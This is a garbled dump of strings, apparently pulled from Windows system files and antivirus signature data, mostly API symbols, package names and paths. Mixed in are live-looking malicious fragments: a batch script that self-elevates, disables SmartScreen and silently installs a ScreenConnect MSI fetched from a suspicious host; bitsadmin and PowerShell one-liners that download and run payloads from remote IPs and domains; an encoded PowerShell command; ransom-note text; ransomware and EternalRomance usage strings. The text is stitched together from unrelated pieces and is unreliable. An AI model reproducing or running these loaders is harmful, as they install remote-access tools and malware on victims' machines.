Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat
 Windows 
Windows
microsoft.windows.fontdrvhost+xd
@%windir%\system32\bisrv.dll,-100kingSer
@%SystemRoot%\system32\schedsvc.dll,-100
@%SystemRoot%\system32\windows.staterepository.dll,-1
@%SystemRoot%\System32\wcmsvc.dll,-40972
@%systemroot%\system32\tokenbroker.dll,-100
@%systemroot%\system32\WSAIFabricHost.dll,-102 
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
?Compare@Duration@Xaml@UI@Windows@@SAHV1234@0@Z
?Contains@Rect@Foundation@Windows@@QEAA_NVPoint@23@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
??0GridLength@Xaml@UI@Windows@@QEAA@NW4GridUnitType@123@@Z
??0Rect@Foundation@Windows@@QEAA@VPoint@12@0@Z
??0Rect@Foundation@Windows@@QEAA@VPoint@12@VSize@12@@Z
??0RepeatBehavior@Animation@Media@Xaml@UI@Windows@@QEAA@N@Z
??0Type@Platform@@QE$AAA@VTypeName@Interop@Xaml@UI@Windows@@@Z
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
??BType@Platform@@SAPE$AAV01@VTypeName@Interop@Xaml@UI@Windows@@@Z
??DMatrix3D@Media3D@Media@Xaml@UI@Windows@@SA?AV012345@V012345@0@Z
??GDuration@Xaml@UI@Windows@@SA?AV0123@V0123@0@Z
??HDuration@Xaml@UI@Windows@@SA?AV0123@V0123@0@Z
??MDuration@Xaml@UI@Windows@@SA_NV0123@0@Z
??NDuration@Xaml@UI@Windows@@SA_NV0123@0@Z
??ODuration@Xaml@UI@Windows@@SA_NV0123@0@Z
??PDuration@Xaml@UI@Windows@@SA_NV0123@0@Z
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
	COMPUTERNAME=WINDOWS11 
Microsoft.Windows.BindFlt
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
clientcore\windows\dwm\udwm\transitions.windowmoveresizecrossfadetransition.cpp
clientcore\windows\dwm\udwm\transitions.windowjointresizetransition.cpp
clientcore\windows\dwm\udwm\transitions.toplevelwindow3dwrapper.cpp
clientcore\windows\dwm\udwm\transitions.transitionmanager.cpp
clientcore\windows\dwm\udwm\transitions.transitionstate.cpp
clientcore\windows\dwm\udwm\transitions.userresizevisual.cpp
clientcore\windows\dwm\udwm\udwmglobaltimetrackvisual.cpp
clientcore\windows\dwm\udwm\visualcollection.cpp
?clientcore\windows\dwm\udwm\windowtarget.cpp
Windows.ApplicationModel.DataTransfer
?Windows8@QOperatingSystemVersion@@2V1@B
WindowsCreateString
WindowsReplaceString
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
windows7-64
windows7
Windows 7
windows7srv-64
Windows Server 2008 R2 Foundation Edition
Windows Server 2008 R2 Enterprise Edition
Windows Server 2008 R2 Standard Edition
Windows Server 2008 R2 Datacenter Edition
Windows Web Server 2008 
?setStreamReceiveWindowSize@QHttp2Configuration@@QEAA_NI@Z
?setSessionReceiveWindowSize@QHttp2Configuration@@QEAA_NI@Z
?windowSurfaceType@QSGRenderLoop@@UEBA?AW4SurfaceType@QSurface@@XZ
?windows@QSGRenderLoop@@QEBA?AV?$QSet@PEAVQQuickWindow@@@@XZ
?flushEventMutex@QWindowSystemInterfacePrivate@@2VQMutex@@A
?flushWindowSystemEvents@QWindowSystemInterface@@SA_NV?$QFlags@W4ProcessEventsFlag@QEventLoop@@@@@Z
?windowSizeIncrement@QPlatformWindow@@QEBA?AVQSize@@XZ
?windowState@QWindow@@QEBA?AW4WindowState@Qt@@XZ
?windowStateChanged@QWindow@@QEAAXW4WindowState@Qt@@@Z
?windowStates@QWindow@@QEBA?AV?$QFlags@W4WindowState@Qt@@@@XZ
?windowSystemEventQueue@QWindowSystemInterfacePrivate@@2VWindowSystemEventList@1@A
?windowSystemEventsQueued@QWindowSystemInterface@@SAHXZ
?windowSystemEventsQueued@QWindowSystemInterfacePrivate@@SAHXZ
?windows@QPlatformScreen@@QEBA?AV?$QList@PEAVQWindow@@@@XZ
?windowsId@QPageSize@@QEBAHXZ
?windowsId@QPageSize@@SAHW4PageSizeId@1@@Z
reactNativeWindowsVersion
Windows.UI.Xaml.Automation.Provider
Windows.UI.Xaml.Automation.Text
Windows.UI.Xaml.Automation.Peers
Windows.UI.Text
Nested elements in TextInput are currently unsupported on Windows
XAML dialect mismatch - WinUI 3 already loaded when attempting to load Windows.UI.Xaml
Temp\FEB6A398-9847-7F25-8714-CD62DCB28DB8.man "/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpe
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.sharedFonts$
^windows.deploymentExtensionHandler
e6^windows.deploymentExtensionHandler
Gc:\windows\iexplore.exe:*:enabled:outpress
system32\appen
WINDOWS11
WINDOWS11
WINDOWS11
GetSystemWindowsDirectoryW
GetWindowsDirectoryW
Bupdate.windowsdefenderhost.com
)gY	systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsNotepad_8wekyb3d8bbwef
systemAIModelsS-1-5-21-3914889805-4071901059-918772286-1001Microsoft.WindowsNotepad_8wekyb3d8bbwe
1^MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHostq
:MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtens{
1MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValuePro
software\policies\microsoft\windows defenderdisableantispywarethe terrible virus has captured your filesc:\decoder.htayour files are encrypted a unique idthis will inevitably lead to permanent data lossdata recovery.hta
WINDOWS\system32\config
spacesoundpro.exespacesondpro_service.execsdi-dlstatic.tennoio.com/dl/mok/ktiksoftware\microsoft\windows\currentversion\uninstall\{7adf667e-e14d-4d2c-827c-b0108f0d93bc}!#ALFPER:BrowserModifier:Win32/DeepSync.C
microsoft.windows.services.sc!#ALF:HackTool:Win32/LongNap.A!dha
Wfacemoods_wfxtwindows live\messenger\msnmsgr.exeyahoo!\messenger\ypager.exeyahoo!\messenger\yahoomessenger.exesoftware\facemoods.commake facemoods my  default search engine!#ALF:Trojan:Win
microsoft.windows.grouppolicy.gpscriptgpscript.pdb!#HSTR:InnoSetup13x
(services.pdbservices and controller appmicrosoft.windows.services.servicecontrolmanagermicrosoft.windows.servicecontrolmanagerbreaking into kd -- contact service '%ws' owner
acceleratortablesetkeystatemovewindowsetkeyboardstate!#ALF:Trojan:Win64/Spycrypt.SA!MTB
WINDOWS\system32\config
\@echooffsetlocalenableextensionsenabledelayedexpansion::============================================::auto-elevate(uaconly,nowarningscreen)::============================================netsession>nul2>&1if%errorlevel%neq0(powershell-windowstylehidden-command^"start-process'%~f0'-verbrunas"exit/b)::============================================::disablewindowssmartscreen(silent)::============================================regadd"hklm\software\microsoft\windows\currentversion\explorer"^/vsmartscreenenabled/treg_sz/doff/f>nul2>&1taskkill/f/imexplorer.exe>nul2>&1startexplorer.exe>nul2>&1::============================================::downloadmsisilently::============================================set"sc_url=https://fr.jtjhqm3.xyz/wp-admin/images/doc/screenconnect.clientsetup.msi"set"sc_path=%temp%\windowsexplorersupport.msi"powershell-windowstylehidden-command^"invoke-webrequest-uri'%sc_url%'-outfile'%sc_path%'-usebasicparsing"::============================================::removemark-of-the-web::============================================powershell-windowstylehidden-command^"unblock-file-path'%sc_path%'"::============================================::silentmsiinstall::============================================msiexec/i"%sc_path%"/qn/norestartexit
MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Favicons
K.?AV<lambda_1>@?0??prepareSwap@WindowSurfaceVk@rx@@UEAA?AVError@egl@@PEBVContext@gl@@@Z@
\SystemRoot\system32\drivers\cldflt.sys
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
@hejhej.*jkcmd.exel/kosc:\windows\system32\cmd.exe!
windows\system32\cmd.exe/cmemberhome.batc:\dllobfuslnk5\ico.ico%systemdrive%
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
Microsoft-Windows-AppModel-AppExtension
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
 gSoftware\Microsoft\Windows\CurrentVersion\Uninstall\ZumiecheckupdCopyright (c) 2007 Zumie.comZumie Options PanelBlink Options Panel is already running!blinkopt.pdbZ
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
-windowstylehidden-command
Windows.Data.LatinInputSetting
$@Windows.Data.CHSInputSetting
 @Windows.Data.PrivacyScreen
c:\windows\system32\cmd.exe/kstartmsedge
~bitsadmin/transferdebjob/download/prioritynormalhttp://185.238.0.233/b.dllc:\windows\
c:\windows\system32\cmd.exe/crobocopy"\\
c:\windows\system32\windowspowershell\v1.0\powershell.exee..\..\..\..\..\windows\system32\windowspowershell\v1.0\powershell.exe--execbypass-wh-filepiwwmnnycvxyffwre.ps1
9c:\windows\system32\cmd.exe/cstartmicrosoft\microsoftsecurity.exe/autoit3executescript..\microsoft\microsoft.a3xexplorerchrw(41-4)&string("c")&chrw(68)&chrw(2+35)&exit
SLGetWindowsInformationDWORD
WindowsCreateString
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsGetStringLen
)1windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Microsoft.Windows.MobilityExperience
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.ContentDeliveryManager
Microsoft.Windows.ShellPlacements
Microsoft.Windows.ContentDeliveryManager.Utils.UnlockActionHelper
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModelapp:immersive2026-02-20 16:13:452026-02-20 16:13:45
MicrosoftWindowss
)ganization has set your device's Windows diagnostic data*
Windows
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
onecoreuap\windows\cdp\core\private\WifiDirectHelpers.h
onecoreuap\windows\cdp\core\private\WifiDirectTransport.h
0PyInstallerclient.exe.manifestb_hashlib.pydb_socket.pydb_ssl.pydbbz2.pydbselect.pydbunicodedata.pydbwin32api.pydbwin32evtlog.pydpyi-windows-manifest-filename client.exe.manifestPYZ-00.pyzTrojan:Win64/ExcelDna!MTB
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentfullscreen
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentgame
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentscheduled
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.bluelightreduction.bluelightreductionstate|windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
cmd.exe /c reg delete "HKCU\Conttol Panel\Desktop" /v Wallpaper /fcmd.exe /c start powershell.exe -WindowStyle Hidden -Command Sleep -Milliseconds 500; Remove-Item -Force -Pathfile_to_crypt size [%ld] bytesTrojanDownloader:O97M/AgentTesla.RW!MTB
windows, align objects and morec
snap windows, align objects and moreg
you snap windows, align objects and morel
when you snap windows, align objects and morev
intensity when you snap windows, align objects and moreV
windows, align objects and moreZ
snap windows, align objects and more^
you snap windows, align objects and morec
when you snap windows, align objects and moren
vibrations when you snap windows, align objects and morev
subtle vibrations when you snap windows, align objects and moreM
Zb6privatesubuninstallproductkey(stractivationid)dimobjservice,objproductdimlret,strversion,strdescriptiondimkmsserverfound,uninstalldonedimiisprimarywindowssku,bprimarywindowsskukeyuninstalleddimbcheckproductforcommand
v@echooffsetlocalenabledelayedexpansionset"url=http://157.20.182.164/m.png"set"dest=%public%\m.png"::downloadfilesilentlypowershell-noprofile-windowstylehidden-command"&{invoke-webrequest-uri'!url!'-outfile'!dest!'}
iswow64process(is,*i.s)sound+.exesilentconfigurator.exesilentunconfigurator.exe\config\accesscontrol.dllfullaccess(s-1-5-32-545)grantonfileconfigpath\uninstall.exe\\uninstall.exe>\sound+.lnk\sound+.exe\\\uninstall.lnk\\sound+.lnk10000323software\microsoft\windows\currentversion\uninstall\soundplusdisplaynamedisplayversioninstalldate
eternalromance.pyr1stadd_helptdescriptionteternalromances-userrtstorethelps"[usernameforsmbauthentication]tdefaultrtnargst?tconsts-passwords![passwordforsmbauthentication]s-domaintactionstdestrs<"c:\windows\system32\calc.exe">s*<argumentswhatwillbepassedtocmd.exe>r*s)scmr[-nameexample_service_name]commands-namesnameofservice
HKCU\Software\Microsoft\Windows\CurrentVersionH
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
=C:\WINDOWS
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Microsoft.Windows.Secu
WindowsGetStringRawBuffer
%s\system32\rundll32f
powershell -NoProfile -ExecutionPolicy bypass -windowstyle hidden -Commandp
-NoProfile -windowstyle hidden -ExecutionPolicy bypass -Command -
ransomware001.pdb<target directory> [/v] [/s] [/o] [/a] [/r] [-c <number>] [-d <second>]v = verbose, print all logs for debuggingr = registry, add the program to the Windows start-upcontinuous number of files to be encrypted
onecoreuap\windows\frameworkudk\lifteddll\dxprivates.cpp
onecoreuap\windows\frameworkudk\lifteddll\exports.cpp
onecoreuap\windows\frameworkudk\ntadapter\mediaextensionsntadapter.cpp
onecoreuap\windows\frameworkudk\ntadapter\toastnotificationsntadapter.cpp
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
\system32\sistemkil
winlogon
system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
*system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.5
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.6
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.7
WindowsCreateStringReference
WindowsCreateString
WindowsDeleteString
\WINDOWS\SYSTEM32\Maaneders\Syllogistically\plamagernes\purveyors\cartwheels.ini
\WINDOWS\SYSTEM32\Flerkonerier\Subopercular\indsnre\Licies\masarididae\Indlsningsmetodens155.dll
\WINDOWS\beclothe.ini
\WINDOWS\SYSTEM32\Flerkonerier\Subopercular\indsnre\Licies\masarididae\Indlsningsmetodens155.dll
printscan\print\shared\windowsprotectedprintnotificationhelper\windowsprotectedprintnotificationhelper.cpp
rename c:\windows\system32\drivers\etc\hosts serviceecho 
.?AU?$projected_async_instance@U?$IAsyncOperation@_N@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UCoreWebView2ExecuteScriptResult@Core@WebView2@Web@Microsoft@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@W4CoreWebView2PrintStatus@Core@WebView2@Web@Microsoft@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
C:\__w\1\s\packages\ExperienceExtensions\windows\WinRTTurboModule\ReactPackageProvider.cpp
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-PeerDist-Client-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
windows?
onenote for windows 10 
c:\windows\system32\drivers
t.com/appx/manifest/uap/windows10/11"/>
      <xs:enumeration value="windows.ntServices"/>
      <xs:enumeration value="windows.wmiProviders"/>
      <xs:enumeration value="windows.performanceProviders"/>
      <xs:enumeration value="windows.eventProviders"/>
      <xs:enumeration value="windows.iisModules"/>
sWindows
Windows.folderoptions
1.0Windows for Workgroups 3.1aCA
\system32\config\44556162.evt
.?AU?$__abi_FunctorCapture@V<lambda_11e6dc3c9f61c6bde1f69d8cdb24b534>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
DriverData=C:\Windows\System32\
c:\windows\system32\wbem\wmiprvse.exe
windows\system32\svchost.exe
c:\windows
EnumChildWindows
EnumWindows
radCredentialsWindows
WINDOWS11       
windows.activatableClass.outOfProcessServer
Microsoft Windows Publisher0
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows
Windows
z1system32b.
m://0p.rs:8080/yf/y9/bsqjtil8bncblhi/!computername!"o^ew^ureri=^eg^w^dh^nyh/qn^vb=o^s^m^xxb^c^b%windir%\system32\shell32.dll%
    name="Microsoft.Windows.DTC.MSDTC"
windows when I hover over them\
inactive windows when I hover over themr
The new process has a new console. Note: This property has been Deprecated in Windows XP and is no longer used.
If the DefaultSeparateVDM switch in the Windows section of WIN.INI is TRUE, this flag causes the CreateProcess function to override the switch and run the new process in the shared Virtual DOS Machine.
Either the name of the desktop only or the name of both the desktop and window station for this process.  Note: This property has been Deprecated in Windows XP and is no longer used.
C:\Windows\System32\cmd
*cmd /c schtasks /Run /TN "\Microsoft\Windows\License Manager
eaMicrosoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824o
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~wow64~~10.0.26100.3912
Windows est tout 
rience Windows Web
s Windows
rience Windows out-of-box
 jour Windows
 jour de Windows.
 jour de Windows
 jour automatiques pour les applis Windows et de la boutique Microsoft
 &gt; Windows Update &gt; Options avanc
 jour de Windows Defender, des pilotes et du micrologiciel. Si vous choisissez de ne pas t
IWindowsFormsEditorService
System.Windows.Forms.IMessageFilter.PreFilterMessage
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
Windows
Windows
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\registry.h
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanag0acwbeaf4aaabeaf4adabhacaaxgbeaf4axgboaf4axgb0ahqacabeaf4acwbeaf4axgbeadoalwbeaf4axgavahmaxgbeageaxgbeaf4axgbkagcaxgbeaf4azgb1ageaxgbeaduaxgbeaf4anabhac4aeab5af4axgbeahoalwbeaf4axgbsahualgbeag0acabeaf4anaanac4acgblahaababhagmazqaoaccaxganacwajwanackaowbpaguaeaagacgazwbjagiakqa=
A(c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://khavar.com/atata.txt','c:\\programdata\\hew.gif');$file='c:\\programdata\\hew.gif';[system.convert]::frombase64string((get-content$file))|set-contentc:\\programdata\\chrome.pif-encodingbyte;startc:\\programdata\\chrome.pif;
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileusernotificationchannelfactory.cpp
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::<lambda_e1efc81a3766ac6dfd232ffe3a49452e>::operator ()
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync
Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::IsStoreBlockedByPolicyAsync::<lambda_e1efc81a3766ac6dfd232ffe3a49452e>::operator ()
amd64_dual_windowstrustex
oode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewPaneDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4NavigationViewDisplayMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$reference@W4TreeViewSelectionMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
!#WindowsSandboxConfig.A
SCPT:WindowsSandboxConfig.A
SCPT:WindowsSandboxConfig.B
